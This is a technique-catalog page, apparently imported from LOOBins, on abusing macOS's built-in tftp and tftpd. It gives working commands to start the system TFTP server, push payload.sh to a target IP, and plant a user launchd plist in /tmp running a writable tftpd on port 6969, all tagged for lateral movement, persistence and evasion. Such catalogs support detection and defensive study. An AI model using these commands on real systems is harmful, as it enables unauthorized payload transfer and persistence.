CatalogLOOBins

ORCHARD · Tool

tftp

3 techniquesmacOSLOOBinsGPL-3.0

Activate the built-in TFTP server via launchctl

Lateral MovementPersistencemacOS

macOS ships with a launchd plist for tftpd at /System/Library/LaunchDaemons/tftp.plist. Loading it with launchctl starts the TFTP server on UDP port 69, serving /private/tftpboot. Requires root. A placeholder file must be created for each file to be transferred, as the default configuration does not allow tftpd to create new files.

sudo launchctl load -w /System/Library/LaunchDaemons/tftp.plist

# Create placeholder for each file to be received
sudo touch /private/tftpboot/payload.sh && sudo chmod 666 /private/tftpboot/payload.sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Lateral Movement, Persistence
Detection
No detections at time of publishing: No detections at time of publishing

Transfer a file to a target using the tftp client

Lateral MovementmacOS

The built-in tftp client can push files to a remote TFTP server. The binary mode flag ensures files are not corrupted during transfer.

tftp <TARGET_IP> << EOF
binary
put /tmp/payload.sh payload.sh
quit
EOF
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Lateral Movement
Detection
No detections at time of publishing: No detections at time of publishing

Run unprivileged TFTP server on a non-standard port

Lateral MovementDefense EvasionPersistencemacOS

Without root access, tftpd can be loaded from a user-created launchd plist stored anywhere on disk (e.g., /tmp). Passing the -w flag allows tftpd to create new files on write, removing the placeholder requirement. The server can be bound to any unprivileged port.

mkdir -p /tmp/tftp_server && chmod 777 /tmp/tftp_server
tee /tmp/com.user.tftp.plist > /dev/null << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.user.tftp</string>
    <key>WorkingDirectory</key>
    <string>/tmp/tftp_server</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/libexec/tftpd</string>
        <string>-w</string>
        <string>-l</string>
        <string>-u</string>
        <string>$(whoami)</string>
    </array>
    <key>inetdCompatibility</key>
    <dict>
        <key>Wait</key>
        <true/>
    </dict>
    <key>Sockets</key>
    <dict>
        <key>Listeners</key>
        <dict>
            <key>SockServiceName</key>
            <string>6969</string>
            <key>SockType</key>
            <string>dgram</string>
            <key>SockFamily</key>
            <string>IPv4</string>
        </dict>
    </dict>
</dict>
</plist>
EOF
launchctl load -w /tmp/com.user.tftp.plist
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Lateral Movement, Defense Evasion, Persistence
Detection
No detections at time of publishing: No detections at time of publishing